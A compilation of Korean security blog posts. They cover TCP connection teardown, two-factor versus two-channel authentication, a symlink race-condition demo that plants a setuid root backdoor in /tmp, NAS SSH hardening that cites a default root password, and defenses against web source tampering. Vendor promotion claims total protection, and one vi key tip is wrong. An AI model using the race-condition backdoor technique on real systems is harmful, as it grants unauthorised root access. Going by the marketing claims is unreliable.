2. FIN 을 수신한 서버는 ACK를 클라이언트에게 전송하고 소켓의 상태를 CLOSE_WAIT로 변경한다.


3. ACK를 수신한 클라이언트는 서버가 FIN을 잘 받았다고 판단하고 FIN_WAIT_2로 소켓의 상태를 변경한 뒤 다시 FIN 패킷을 기다린다.


4. FIN을 클라이언트에게 전송한 서버는 다시 FIN 패킷을 클라이언트로 전송한 뒤 소켓을 LAST_ACK 상태로 변경한다.


5. FIN을 수신한 클라이언트는 서버에게 ACK를 전송한 뒤 소켓의 상태를 TIME_WAIT 상태로 변경한다.


6. 클라이언트로부터 마지막 ACK를 수신한 서버는 소켓을 CLOSED 한다.


이 4 way handshake 과정이 문제가 되는 경우가 종종 발생한다. 서버와 클라이언트의 통신에서 (이때 클라이언트는 대부분 PC가 아닌 Unix, linux 서버임) 클라이언트 쪽에 FIN_WAIT1, FIN_WAIT2 상태의 소켓이 급격하게 증가하여 소켓관련 메모리가 부족한 상황이 발생하고 더 이상의 소켓을 오픈하지 못하는 경우가 그것이다.(실제로 오래전 서버보안 프로젝트 수행 시 이 문제로 골치를 앓은 경우가 있어 확실하게 기억하고 공부를 하였음. -.-)


이러한 증상의 원인은 대부분 서버나 클라이언트 측 프로그램의 버그이거나 운영체제의 버그인 경우가 많은데 쉽게 원인을 찾지 못하는 경우가 많은 것 같다. 클라이언트에서 서버에게 FIN을 날려 통신을 끊고자 하면 서버가 ACK와 FIN을 순차적으로 클라이언트에게 보내야 하지만 어떤 이유인지 서버측에서 혼자만 소켓을 LAST_ACK나 CLOSED로 바꾸고 ACK와 FIN 전송을 모두 혹은 FIN의 전송을 하지 않는 경우로 보인다.


특히 이러한 경우가 네트워크 부하가 많은 서버에서 종종 발생하는데 세션의 확립과 종료가 대량으로 발생하는 경우가 대부분이다. 원인을 찾아 해결하면 좋겠으나 그 과정이 쉽지 않아 대부분 클라이언트 측에서 FIN_WAIT_1 상태에서 ACK를 기다리는 시간과(Timeout이 걸리면 강제로 닫음.) FIN_WAIT_2 상태에서 FIN을 기다리는 시간을 짧게 설정하여 서버로부터 정상적인 ACK와 FIN을 수신하지 못하면 강제로 소켓을 닫도록 하는 방법으로 문제를 해결하고 있다.


하지만 4 way handshake를 사용하는 한 대량의 빈번한 open과 close를 한다면 timeout의 조정만으로는 문제를 해결하지 못한다. 이때는 4 way가 아닌 3 way로의 변경을 고려해볼 필요가 있다. 4 way 종료에서 3 way 종료로 바꾸기 위해서는 close() 를 호출하는 클라이언트 측의 프로그램 소스를 변경하여야 한다. 이때 사용되는 옵션이 SO_LINGER 옵션이다. 하지만 여러 문제를 야기할 수도 있으므로 신중하게 결정해야 한다고...많은 개발자들이 이야기 하고 있다.


만약 이글을 읽는 이가 개발자라면 자세한 것은 개발자 포럼에서 SO_LINGER로 검색해봐야 할 것이다. (단, 리눅스만 이 옵션을 제공하는 것 같음..)


  • 쭈니러스 2014.05.12 22:15 신고

    저에겐 무슨 말인가 싶네요?ㅎㅎㅎㅎ

    • taeho Tae-Ho 2014.05.13 08:52 신고

      ^^ 컴공전공한 분이 아니면 다~그렇죠..
      저도 웹서핑하다 보면.. 그런 경우 많습니다~ ^^


KT의 개인 정보 유출과 여러 신용 카드 사의 개인 정보 유출 등 끊임없이 발생하는 보안 사고는 기존의 보안 솔루션들이 보안 솔루션 답지 않게 보안 취약성을 제대로 제거해주지 못한다는 것을 의미한다.

특히 인터넷을 통한 서버로의 직접 침투는 많이 줄었지만 (사실 그리 줄지도 않았지만..발견되지 않거나 은폐될 뿐..) 정보가 저장되어 있는 서버에 접근 권한을 가진 내부 관리자 및 개발자 그리고 외주 인력에 의한 보안 사고는 오히려 더 늘고 있다. (신용카드 3사의 개인정보 대량 유출이 가장 대표적인 사례다.)


공공 기관과 기업의 전산실에서는 오래전부터 내부자의 서버 접근을 통제하기 위해 여러 방안들이 적용하고 있긴 하다. 하지만 그 내부 접근 통제의 개념과 적용 범위를 제대로 결정하지 못하고 있고 적용하고 있는 보호 대책들도 관리자 권한에서 우회나 변조가 가능하기도 하며 다수의 서버를 통합 관리하기가 쉽지 않기 때문에 보안 취약성 제거 효과를 보지는 못하고 있는 것이 현실이다.


이 포스트에서는 최근 내부 접근 권한을 가진 관리자나 개발자, 외부 엔지니어에 대한 접근 통제 및 감사 솔루션으로 각광 받기 시작한 2 Factor 인증 및 2 Channel 인증 기법에 대해 살펴보고자 한다.


2 Factor 인증과 2 Channel 인증의 차이



2 Factor 인증은 기존의 "지식기반 인증"인 ID/Password 인증에 다른 요소 즉 소유기반 인증 및 생체인증 요소를 추가한 인증 기법을 말한다.


2 Factor 인증기법을 인증 과정에 추가하면 ID/패스워드를 알고 접속하려는 사용자에게 OTP 인증 번호나 지문 등의 추가 인증을 요구함으로써 스니핑과 같은 ID/패스워드 유출에 의한 공격을 방어할 수 있다. 하지만 최근에는 APT 공격 등에 의해 단순한 2 Factor인증(이차 인증) 기법이 무력화 되는 경우가 발생하기도 한다.


특히 웹 서비스나 스마트폰 기반의 서비스는 이러한 단순한 이차인증(2 Factor 인증)만으로는 해킹을 방어하지 못하는 사례가 발생하기도 한다. 그 이유는 바로 메모리 해킹 때문이다. PC나 스마트폰에 설치된 악성코드가 사용자가 입력한 이차 인증 정보 혹은 인증 후 실 거래 발생 시 거래정보를 암호화하여 네트워크로 전송하기 직전에 거래 정보를 가로채 변조하는 고도의 프로그래밍 기술을 적용한 악성코드를 사용하기 때문이다.


그래서 등장한 개념이 바로 2 Channel 인증이다.



2 Channel 인증은 2 Factor 인증을 포함한다고 보는 것이 일반적이며 인증과 서비스를 수행하는 통신선로를 서비스 채널과 인증채널로 물리적으로 분리하는 것이 특징이다.


즉 서비스를 사용하는 PC/스마트폰의 통신 채널을 인증과 서비스에 모두 사용하는 것이 아니라 PC가 서비스 채널인 경우 ARS(전화) 혹은 스마트폰 앱 등을 통해 서비스를 사용하는 PC와는 물리적으로 다른 채널을 형성하여 2차 인증을 수행하는 것이다. 이렇게 서비스 채널과 인증 채널을 물리적으로 분리함으로써 해커에 의해 PC 혹은 스마트폰이 장악 되더라도 해커가 서비스에 접속을 할 수 없게 된다.


여기서 한걸음 더 나아간다면 금융거래나 구매 거래 시 관련 데이터를 2 채널 인증에 의해 확립된 2개의 채널로 분리하여 전송한 뒤 결제 시스템에서 조합하여 거래를 완성시키는 2 채널 서비스 구성도 검토해 볼 수 있겠다. 


SAC 솔루션의 2 Factor/Channel 인증 취약성


많은 보안 솔루션들 특히 서버 접근제어 솔루션(SAC)들이 2 팩터/2 채널 인증을 제공하고 있다. 하지만 네트워크 수준에서 2 Factor/Channel 인증을 수행할 경우 제대로 된 2 팩터/2 채널 인증을 수행할 수 없다.



위의 개념도에서 알 수 있듯 네트워크 수준에서 수행하는 서버 접근제어의 2차 인증은 사용자와 서버 접근 제어 장비까지의 구간만 2차 인증이 수행되고 실제 서버에 접근하는 접속 세션에서는 여전히 ID와 패스워드에 기반한 단순한 인증만이 수행된다.


게다가 비밀번호의 관리 편의성을 높이고 사용자가 서버의 계정에 대한 패스워드를 알지 못하게 하기 위해 서버접근제어 서버에 "복호화가 가능한" 형태로 모든 서버의 계정에 대한 비밀번호를 저장한다. 이는 "비밀번호는 복호화가 불가능한 형태로 암호화"해야 한다는 가장 기본적인 보안 규정을 어기는 중대한 보안 취약성이다. 개인정보보호법에는 사용자의 비밀번호는 복호화가 불가능한 단방향 암호화를 하도록 명시되어 있음을 유의해야 한다.


서버에 대한 2 factor 인증 및 2 channel 인증은 서버 운영체제의 자체 인증 과정에 추가하여 적용되어야만 우회 접속 및 여러 인증 취약성 공격 기법에서 자유로울 수 있다. 관리의 편의성 만을 생각한다면 모를까 제대로 된 서버 접근 통제를 하기 위해서는 필수적으로 운영체제에 추가적인 인증 모듈을 적용하여야 한다.


Unix/Linux의 경우 운영체제에서 PAM (plugable authentication module)이라는 2 factor/2 channel 인증을 적용할 수 있는 모듈을 제공하며 Windows의 경우도 GINA/CP라는 추가 인증을 적용할 수 있는 기능을 제공하고 있다. 그럼에도 불구하고 개발의 편의성, 관리의 편의성만을 쫓아 적용이 손쉬운 네트워크 기반의 2 factor/2 channel 인증기법을 적용하게 되면 관리 편의성은 증대될지 모르나 실질적인 보안 강화 효과는 그다지 기대하기 어렵다고 볼 수 있다.


또한 수 많은 서버와 네트워크 장비를 운용하며 패스워드 관리에 골치를 앓고 있는 기관과 기업의 어려움을 파고들어 제대로 된 보안 강화 솔루션이 아닌 보안 강화 효과도 별로 없는 솔루션을 공급하는 것은 상도덕에도 어긋난다고 할 수 있다.


사실 특정 보안 솔루션만으로 모든 보안 취약성을 커버할 수는 없는 것이 사실이다. 해킹은 지속적이고 지능적으로 변화하고 있으며 네트워크 기반의 보안 만으로는 더 이상 서버에 저장된 정보를 보호할 수 없다. 


개인정보를 비롯한 기관과 기업의 중요 데이터는 "서버"에 저장되어 있다. 서버의 보안을 강화하지 않고 길목인 네트워크에서 어떻게든 보안을 강화해보려는 구태의연한 보안은 이제 더 이상의 효과를 볼 수 없는 현실을 직시해야 한다. 아울러 외부로부터의 해킹이 아닌 내부 관리자/운영자/개발자들에 대한 통제를 빠르고 안정적인 "서비스 개발과 운영"을 핑계로 계속 미룰 경우 지금과 같은 해킹 대란은 계속 발생하고 보안 예산의 낭비는 계속될 수 밖에 없다.




유닉스/리눅스 운영체제는 태어난지 수십년이 지난 지금(2014)도 그 자체로 취약성 덩어리라 해도 과언이 아니다. 다만 네트워크기반의 다른 보안솔루션들의 집중적인 보호(침입차단)를 받고 있고 자체적으로는 사용자인증(로그인)과 기본적인 사용자간의 권한분리(계정을 통한 분리)를 통해 최소한의 보안을 유지하고 있는 것이다. 하지만 말 그대로 "최소한"의 보안이다.


유닉스/리눅스 운영체제를 공부하다 보면 수도 없이 많은 보안 취약성을 발견하게 된다. 그 취약성은 개방성을 기반으로 개발된 운영체제이기 때문이기도 하지만 사실...별다른 보안개념을 적용하지 않고 개발된 운영체제이기 때문이기도 한다.


그중에서 오늘 소개할 것은 심볼릭링크 취약성과 쉘의 취약성이다. (심볼릭링크는 윈도의 단축아이콘과 유사하다.)


이따금씩 서버보안 S/W의 시연이나 BMT를 진행하다보면 일부 취약성 공격의 방어에 대한 시연을 요청하는 경우가 있다. 대부분 웹쉘 방어 혹은 웹 소스 위변조 차단에 대한 시연을 진행하는데 이번엔 심볼릭링크 취약성까지 시연해야 하는 경우가 생겼다. 사실... 버퍼오버플로나 포맷스트링 등은 이론적으로만 이해하고 있고 실습(?)을 해보지는 않았다. 사실 해당 취약성을 내포한 애플리케이션을 코딩(C로)하고 테스트하는 과정은 썩 단순하지는 않다. 이따금씩 하는 코딩 실력으론 어려운게 사실이다.


하지만 레이스컨디션은 너무도 쉽고 단순한 쉘스크립트로도 실습이 가능하다. 아주 오래전 한참 코딩에 빠져있을 때 원조 모의해킹 실습사이트(이름은 생각나지 않음)에 들어가 모의해킹을 통해 레벨을 올라가는 도전을 해본적이 있다. 당시 15레벨인가가 명예의전당이었던것 같은데 당시에 8레벨인가가 레이스컨디션 공격을 해야하는 문제였었다. 난 8레벨 획득을 끝으로 더이상 도전하지 않았다. 9레벨에 가려면 인라인어셈블리까지 해야했기 때문이었다. (어셈블리는 인간의 언어가 아니라고 난 생각한다. ^^)


이제 본론으로 넘어가자.


1. 심볼릭링크 취약성을 가진 쉘스크립트


심볼릭링크 취약성은 다양한 프로그램에서 갖고 있다. 특히 임시파일을 생성하고 생성한 임시파일에 쓰기를 하거나 실행을 하는 경우 발생할 수 있다. 특히 root계정으로 실행되면서 임시파일을 생성하고 그 임시파일이 다른 작업을 수행하는 경우 심각한 2차 취약성을 만들거나 시스템에 장애 혹은 정보유출 등으로 이어질 수 있다.



위의 vulrace.sh 는 무한루프를 돌면서 /tmp 디렉토리에 1.sh라는 파일을 만들고 메시지 한줄을 화면에 출력하는 echo문을 저장한 뒤 그 생성한 파일(1.sh)에 실행퍼미션을 부여하고 그 파일을 실행한다.(설명이 복잡한가?) 그리고 실행이 종료되면 임시파일(1.sh)을 삭제한다.


이 과정에서 취약성은 바로 /tmp/1.sh를 삭제하고 다음번 루프에서 echo명령으로 임시파일을 생성하고 실행하는 사이에서 발생한다. 임시파일인 1.sh를 생성하기 전에 누군가가 root 권한으로 실행되기를 바라는 파일로 1.sh라는 심볼릭링크를 먼저 생성하면 이 프로그램(vulrace.sh)은 1.sh라는 정상 임시파일을 만들지 못하고 심볼릭링크인 1.sh에 echo문을 실행하게 된다. 즉 1.sh가 가리키고 있는 엉뚱한 파일에 echo문이 추가되고 실행되는 것이다. 이 엉뚱한 파일이 무엇이냐에 따라 공격의 내용이 달라지게 된다. 그 엉뚱한 파일은 root 권한으로 실행되게 된다. vulrace.sh가 root 권한으로 실행되었으므로...


위의 예제에서는 해당 취약성 공격 성공률을 높이기 위해 sleep 1을 넣어 공격이 쉽게 성공하도록 하였다.


2. 엉뚱한 파일 (쉘카피백도어)


이제  1.sh로  심볼릭링크가  걸릴 스크립트, 즉 공격자가 root권한으로 실행하고자 하는 "엉뚱한 파일"을 만들 차례다. 이 엉뚱한  파일은 쉘카피백도어를 만드는 스크립트를 예를 든다. 따로 설명은 안하겠다. 악용될 경우 심각한 문제를 유발할 수 있기 때문이며... 이 예제를 악용하여 발생하는 문제는 해당 사용자에게 있음을 분명히 밝혀둔다. 하지만 이 정도의 예제는 인터넷을 통해 얼마든지 접할 수 있고 매우 고전적인 방법이지만 최신 운영체제에서도 적용 가능한 기법이다.


이 스크립트가 root 계정에 의해 실행될 경우 /tmp/ 디렉토리에 backdoor라는 루트쉘이 생성된다. 이후 일반계정에서 이 생성된 /tmp/backdoor를 실행할 경우 root 권한을 획득하게 된다.


vulrace.sh가 실행하는 1.sh로 attack.sh 를 심볼릭링크를 걸면된다. (방법은 뒤에서~~)


3.  취약한 스크립트 실행과 공격 성공


심볼릭링크 취약성을 가진 vulrace.sh를 root 계정에서 실행하면 vulrace.sh가 생성하는 /tmp/1.sh에 의해 심볼릭링크 취약성이 있다는 메시지가 출력된다. 이 메시지를 출력하는 것은 정상적인 /tmp/1.sh 이다.


중간의 Attack Success...!! 메시지는 엉뚱한 파일(attack.sh)를 가리키는 /tmp/1.sh 라는 심볼릭링크가 실행되었을 때 attack.sh가 실행되어 출력되는 메시지다. 해커가 /tmp 디렉토리에 1.sh라는 심볼릭링크를 생성하고 vulrace.sh가 해당 심볼릭링크를 실행한 것이다.


4. 공격과 결과


공격은 아래 화면의 ln 명령에 의해 이루어진다. 즉 해커가 root 권한으로 실행하고자 하는 내용을 담은 스크립트를 /tmp/1.sh 로 심볼릭링크를 생성하는 것이다. 


그리고 공격이 성공하면 attack.sh가 하고자 했던 /tmp/backdoor 가 생성된다.

root 소유자이고 소유자의 setuid가 생성되어 있다.

일반계정인 taeho에서 /tmp/backdoor를 실행하면 root 권한을 얻을 수 있다.


p.s 만약 tmp 디렉토리에서 chown  명령이 에러가 발생한다면 tmp 디렉토리에 sticky bit 가 설정되어 있기 때문이다. 샘플 소스의 디렉토리를 /tmp가 아닌 다른 경로로 설정한 뒤 테스트하면 된다.


5. 레이스컨디션 공격 방어 방법


이 심볼릭링크가 갖는 취약성 공격을 방어하기 위해서는 서버 내에서 실행되는 모든 스크립트와 실행파일에 대해 하나하나 모두 검증해야 한다. 


1. 임시파일을 생성하고 실행하거나 수정하는 어떤 프로그램들이나 쉘스크립트가 있는가?

2. 만약 있다면...(100% 존재하며 모두 파악하는 것은 거의 불가능함) 임시파일을 생성하기 전에 생성할 임시파일이 이미 존재하는지 확인하고 존재한다면 프로그램을 중단하도록 소스코드 수정 --> 사실상 불가능함

3. 심볼릭링크를 사용하지 못하도록 함. (역시 사실상 불가능함)


그렇다면 방법이 없는가?


방법은 있다. 

바로 RedCastle SecureOS를 설치하면 된다. RedCastle SecureOS는 Race Condition 공격을 100% 차단 할 수 있다. RedCastle SecureOS는 운영체제의 커널수준에서 심볼릭링크의 생성을 모니터링하여 root계정에서 실행된 명령어 혹은 대몬프로세스가 일반소유자의 파일로 연결되는 심볼릭링크를 실행하는 것을 차단해준다. 

이러한 보호는 SecureOS의 핵심보듈인 커널수준에서 구현된 참조모니터에 의해 구현되기 때문에 예외없이 모든 심볼릭링크 취약성 공격에 대해 방어가 가능하다.





미국에서 헐값에 뿌려진 웨스턴디지털의 NAS인 My Book Live.. 웹 인터페이스가 없다 뿐이지 성능은 꽤나 잘나온다. FTP 속도도 MBL을 집의 IPTIME 공유기에 연결해두고 FTP를 이용해 외부에서 다운로드와 업로드를 해봤는데.. 오..집에 들어오는 SK Broadband의 광랜 속도인 100Mbps가 거의 Full~로 나온다.

FTP 속도가 10MB가 거의 나오니 bps로 환산하면 100 Mbps다. 만족할만한 성능을 보인다. 그리고 그때 MBL의 CPU 사용율은 top 명령으로 확인해보면 40%~50% 정도 사용한다. 두세명이 붙으면 개인당 속도는 접속자로 나눈 만큼 제대로 보여준다.


하지만 외부 USB나 SD카드 등을 연결할 수 있는 포트가 전혀 지원되지 않기 때문에 오로지 NAS로 사용할 수 있을 뿐이고 내장된 HDD 이외의 저장소를 사용할 수 없는 단점이 있다. 당연히 운영체제나 애플리케이션의 문제로 공장초기화를 한다던가 부팅이 안된다던가 할 때는 HDD를 뜯어내어 다른 컴퓨터에 연결한 뒤 복구 이미지를 이용해 초기화를 해야하는 문제가 있다. 만약 문제가 생긴다면 얼마전에 포스팅한 "벽돌이 된 My Book Live를 VMWare를 이용해 공장초기화하는 방법" 포스트를 참고하기 바란다.


MBL은 SSH를 지원해서 리눅스를 다룰줄 안다면 무한한 활용을 할 수 있다. 토렌트머신으로도 딱이고 Apache2와 PHP5가 이미 설치되어 있기에 Mysql을 설치하면 다른 게시판도 사용할 수 있다.


그러자면 일단 ssh를 활성화해야하고 보안을 위해 root 계정의 비밀번호를 변경해야 하며 ssh의 기본포트인 TCP/22를 다른 포트로 변경해주어야 한다.


리눅스의 초보자를 위해 그 과정을 설명하고자 한다. 다른 일반 리눅스와 리눅스를 채용한 다른 NAS도 동일하다고 생각된다.


먼저 My Book Live의 ssh 서비스 활성화를 해야한다. 아래 화면처럼 MBL의 관리 웹페이지 주소인 /UI 다음에 /ssh를 입력하고 엔터~~를 치면 ssh 설정 화면이 보인다. 계정은 root이고 초기 비밀번호는 welc0me다. 어디서 많이 보던 비밀번호다. 



다음은 SecureCRT나 Putty 같은 ssh 접속이 가능한 프로그램을 설치해야 한다. SecureCRT의 경우 설치 후 아래 화면처럼 접속화면을 실행하고 설정한다. SSH2로 설정하고 Hostname에는 MBL의 IP주소를 입력한다. 아래 화면에선 iptime에서 제공하는 DDNS를 설정했기 때문에 IP주소가 아닌 DNS주소가 입력되었다.

포트는 아직 변경하기 전이므로 기본포트인 22번을 입력한다.



Connect 버튼을 누르면 아래 화면처럼 ID와 Password를 입력하는 창이 실행된다.

Username에는 root, password에는 MBL의 root 기본패스워드인 welc0me를 입력한다. 

아래 화면이 뜨기전에 ssh 키관련 창이 먼저 보이는 경우가 있는데... Accept one 혹은 옆의 ...always..를 눌러도 관계 없다.




비밀번호가 맞으면 아래화면처럼 접속이 된다.


먼저 passwd 명령을 입력하여 root의 비밀번호를 변경한다. 패스워드는 최소 8자 이상...숫자와 특수문자를 반드시 포함하여 생성하는 습관을 들이자...!!



root의 비밀번호를 설정하였다면 다음은 ssh의 기본포트를 변경할 차례다.

아래 화면처럼 /etc/ssh 디렉토리로 이동하자. (리눅스나 유닉스에서는 폴더라는 말을 쓰지 않는다. 디렉토리라고 불러주자..!! 정확한 용어의 사용은 오류를 예방하는 기본이다..!!)

ls 명령을 실행하면 sshd_config 파일이 보인다. 이 파일의 내용을 수정하여야 한다.



자..아래 명령처럼 vi 명령을 sshd_config 라는 파일을 지정하여 실행한다.



vi 화면이 실행되면 다른 키를 누르지말고.... 커서키를 이용하여 아래처럼 Port 22 의 앞의 2에 커서를 둔다.

다른 키를 누르면 커서가 엉뚱한 곳으로 이동하거나 파일의 내용이 수정된다. vi 사용법을 모른다면 vi가 실행된 뒤 다른 키를 누르지 말고 곧바로 커서키를 이용하여 아래 처럼 커서를 이동시킨다.

(만약 커서키가 제대로 동작하지 않는다면 키보드에서 j , k , l , ;  네개의 키를 눌러보라. 이 네개의 키가 좌, 우, 상, 하 로 커서를 움직이는 키다. 커서키는 안돼도 이 네개의 키는 될 것이다.)



위 화면처럼 앞의 2에 커서를 둔 뒤 키보드에서 c 키와 w 키를 차례대로 눌러준다.(change word 명령) 그러면 명령모드에서 입력모드로 바뀌면서 아래 처럼 커서가 위치한 곳의 하나의 워드(word)인 22가 지워지고 새로운 워드(word)의 입력을 기다린다. 



아래 처럼 9275 를 입력한다. tcp/9275 번을 22번 대신 사용하겠다는 의미다.

다른 번호를 맘내키는 대로 입력해도 된다. 단 다른 프로그램이 사용하는 포트를 지정하면 안된다. 예를 들면 21번이나 110, 25, 80 등은 안된다. 가급적이면 1024보다 큰 숫자를 입력하라



숫자를 입력했다면... ESC 키를 한번 살포시 눌러준다. 입력모드에서 명령모드로 나가게 된다. (화면에 보이진 않지만.... 그래서 vi를 어려워하는 초보자가 많다.)



ESC키를 눌러서 명령모드로 왔다면 이제 키보드에서 : 를 눌러준다. 그리고 w와 q를 눌러준다. (w : write 저장,  q : quit 나가기) 그리고 엔터키를 친다~~!!


아래 화면처럼 sshd_config 파일이 저장되었다고 나오고 vi가 종료되고 다시 # 프롬프트로 돌아간다.



이제 포트를 변경했으므로 ssh 서비스를 재구동해야 한다. 몇가지 방법이 있지만 여기에선 가장 원초적인 방법을 설명한다. 아래 화면처럼 cd 명령으로 /etc/init.d 디렉토리로이동한다. 



그리고 ./ssh restart 명령을 실행하여 sshd 대몬서비스를 재구동 한다.

그리고 netstat 명령으로 변경한 TCP포트로 sshd 대몬이 잘 구동되어 있는지 확인한다.

당연히 22번 포트를 변경하기 전에 netstat 명령으로 변경할 포트를 다른 프로세스가 사용하는지 확인은 필수다.



이제 SecureCRT나 putty에서 변경한 포트로 ssh 접속이 잘 되는지 확인해보자..

단, 이전에 로그인한 창은 그대로 두고 새로운 창으로 접속테스트를 해보자. 설정이 잘못되었거나 예상치 못한 문제가 생기면... 원복할 수 있도록 이전에 로그인한 ssh 창은 그대로 두자.



잘 접속이 된다면 성공이다.


만약 MBL을 리부팅해도 ssh 포트는 변경된 포트로 잘 동작할 것이다.




간혹 홈페이지의 소스파일 중 하나인 Javascript 파일이 변조되는 해킹공격을 당해 긴급하게 서버보안SW적용을 요청하는 기업들이 있다. 대부분 보안에 신경을 쓰지 않은 채 웹서버를 구축하거나 홈페이지를 개발하는 경우가 대부분이지만 간혹 이름만 대면 다 아는 그런 기업도 종종 있는 편이다. 


얼마 전 긴급하게 요청이 온 기업도 이름만 대면 다 아는 기업이었다. 공교롭게도 방화벽, IPS(웹방화벽), 웹소스변조방지 등 여러 제품을 도입하여 프로젝트를 진행하는 도중에 지속적으로 소스파일이 변조하여 자바스크립트를 삽입하는 공격이 발생하고 있었지만 도입된 솔루션들이 무용지물인 상황인 듯 했다. 급하게 엔지니어를 보내 RedCastle을 설치하고 홈페이지 소스파일들이 위치한 경로에 다음과 같은 정책을 적용했다.


정책은 아주 간단하다. 소스파일 경로 아래의 모든 파일에 대해 아래 화면처럼 IIS 웹서버 (w3wp.exe)가 읽기만 가능하고 수정을 하지 못하도록 하는 정책이다. (물론 운영체제를 보호하는 baseline policy는 적용하였음)



정책을 적용하고 얼마 지나지 않아 javascript 파일에 대해 변조 공격이 들어왔고 정책에 의해 차단되었다.

변조가 시도되는 파일은 감사로그에 정확하게 기록되었다.



해커는 몇차례 반복하여 Javascript 파일를 변조하려 시도하였고 그 시도는 번번히 RedCastle에 의해 차단되었다. 


인터넷을 통해 온라인 주문을 실시간으로 처리하거나 대 고객 서비스 업무를 수행하는 웹서버는 언제는 위와같은 홈페이지 소스 위변조 공격을 당할 수 있다. 하지만 공격당했다는 사실 조차 모르는 경우가 비일비재하다.  


왜냐하면 해커가 변조한 그 웹서버가 "공격 대상"이 아니라 그 웹서버에 웹브라우저를 통해 접속한 일반 사용자의 PC가 공격대상이기 때문에 서버에 쉽게 알아챌만큼 큰 피해를 단시간내에 주지는 않기 때문이다. 즉 일반 사용자의 PC에 악성코드를 다룬로드 받도록 java script 파일에 악성코드를 심어 놓는 것이 해커가 웹서버의 소스를 변조하는 목적이기 때문인 경우가 많다. 만약 더 이상 서버의 활용도가 없다면 그땐 큰 피해를 주고 유유히 빠져나갈 가능성도 배제할 수는 없다.


이렇게 외부에서 웹소스나 웹서버의 취약점을 공격하여 소스파일을 직접 변조하려는 시도는 오히려 다른 공격보다 위험도 측면에서 나은 경우일 수 있다. 만약 실제로 소스파일이 변경되지 않았는데 웹브라우저로 접속해보았을 때 변조된 Javascript가 소스보기로 보면 소스가 변경되어 보인다면 상황은 더욱 심각할 수 있다.


이런 경우는 정말 심각한 경우다. 이미 웹서버가 있는 네트워크에 해커가 침투하여 거점을 마련하고 스니핑과 스푸핑 공격에 성공한 경우이거나 SQL인젝션 등을 통해 다른 서버나 PC에 이미 침투하였을 가능성이 높기 때문이다. 만약 그렇다면 피해는 서버 한두대에 그치지 않을지도 모르는 심각한 상황이라고 봐야한다.


IIS웹서버의 소스에 악성코드가 삽입되어 있다면 최대한 빨리 취약성을 제거해야 한다. 하지만 취약성 하나를 제거한다고해서 소스위변조가 다시는 일어나지 않는다는 보장은 없다. 취약성이라는 것은 언제든 새로운 것이 발견되거나 새로 추가한 페이지에 존재할 수 있기 때문이다. 


그렇기 때문에 가장 최선의 방법은 공격패턴이나 취약성 공격에 대응하는 패턴기반의 웹방화벽이나 IPS가 아닌 정책기반의 서버보안SW인 RedCastle을 설치하여 소스 파일의 위변조를 커널 수준에서 통제하는 것이 최선의 해결책이다. 


결국 그 고객사는 경쟁사 제품을 걷어내고 RedCastle을 도입하였다.




서버에 로그온 하여 일을 하는 많은 엔지니어들이 사용하는 명령어 중에 find 만큼 옵션이 다양하고 유용한 명령어도 드물다. 더군다나 보안 관련 업무를 수행한다면 find 명령어의 유용함과 필요성은 더 커질 수 밖에 없다. 


자격증 시험 중에서도 이 명령어가 매우 중요하게 다루어지는 시험이 있다. 바로 "정보보안기사"다. 2012년 까지는 SIS 라고 불리던 시험이 국가공인자격증으로 업그레이드가 된 시험이 바로 정보보안기사 시험인데 1회 시험에 find 명령어가 14점 배점으로 한문제가 출제될 만큼 보안 담당자나 엔지니어라면 필수적으로 알아야 하는 명령어라고 할 수 있다.


그런 의미에서... 보안관점에서 find 명령어에 대해 정리해본다.


1. setuid/setgid 파일 찾기.


setuid와 setgid는 일반 사용자 계정에서 root 계정이나 시스템소프트웨어의 관리자 계정으로 잠시 권한을 변경할 때 사용되는 파일의 퍼미션이다. 


다음과 같이 퍼미션이 설정되어 있다.


-rwsr-sr-x 1 root root     315416 Feb 27  2009 crontab


s로 설정된 부분이 setuid 비트와 setgid 비트다.(퍼미션에 대한 이해가 부족하다면 더 공부하고 오세요. ^^)


위의 crontab 파일과 같이 setuid 비트와 setgid 비트가 설정된 파일을 찾을 땐 다음의 옵션을 주어 실행하면 된다.


-perm 은 퍼미션을 기준으로 찾겠다는 의미다.

-4000은 퍼미션이 최소한 ( - ) 4000 인 파일을 찾겠다는 의미다.


"4" 는 setuid를 의미하고 000 은 퍼미션을 의미한다. 즉 setuid가 설정된 모든 퍼미션의 파일을 찾겠다는 의미다. 일반적으로 퍼미션은 755 , 700, 500 등과 같이 표시하니 "4000"은 "최소한 000 보다 큰 퍼미션의 setuid 비트가 설정된 파일" 이라는 의미다.


파일퍼미션과 특수퍼미션)

먼저 파일의 퍼미션 각 자리는 각각 8진수로 읽는다. 즉 퍼미션 rwx는 2진수 111로서 7로 읽는다. 즉 각자리에 r이나 w, x가 표시되어 있는 자리는 1로 - 로 표시된 자리는 0으로 대체하는 것이다.이 규칙에 따르면 rwx는 111로 7이 되고 r-x는 101이므로 5, r-- 는 100 이므로 4가 된다. 따라서 어떤 파일의 소유자 퍼미션이 7, 그룹 퍼미션이 5, 어덜(other) 퍼미션이 0 이면 750 로 표시하고 rwxr-x--- 로 쓴다.

여기에 setuid와 setgid 그리고 sticky 비트까지 3개의 특수한 퍼미션을 또 8진수로 표시하여 일반퍼미션의 앞에써준다. 즉 8진수를 다시 2진수로 풀어 각 비트를 표현하게 되는데 setuid는 4, setgid는 2, sticky 비트는 1의 자리를  on, off 하는 것으로 표현한다.


즉 001 이면 1의 자리만 설정된 것으로 보고 sticky bit 가 설정된 것이고

    010 이면 2의 자리 즉 setgid 비트가 설정된 것으로...

    100 이면 4의 자리 즉 setuid 비트가 설정된 것으로 표시한다.

    111은 setgid, setuid, sticky bit가 모두 설정된 것으로 표시하고 7 이라 읽는다.


결론적으로 파일퍼미션이 755이고 setuid와 setgid가 모두 붙어 있으면... 6755 가 되고

rwsr-sr-x로 표시된다. setuid와 setgid는 실행 퍼미션과 함께 와야 하므로 x 자리에 s로 s로 표시하는 것으로 대체한다. 


만약 find 명령을 이용해 setuid, setgid 두개의 비트가 설정된 파일을 찾겠다면 다음과 같은 명령을 사용하면 된다.


-6000 은 setuid 4와 setgid 2 그리고 최소 퍼미션 000 으로 조합된 것으로 이해하면 된다.


그렇다면.. setuid와 setgid 중 어느 하나라도 설정된 파일을 모두 찾으려면 어찌해야 할까?

다음과 같이 -o 옵션으로  묶어주면 된다.



2. 파일의 최종 수정일자 찾기


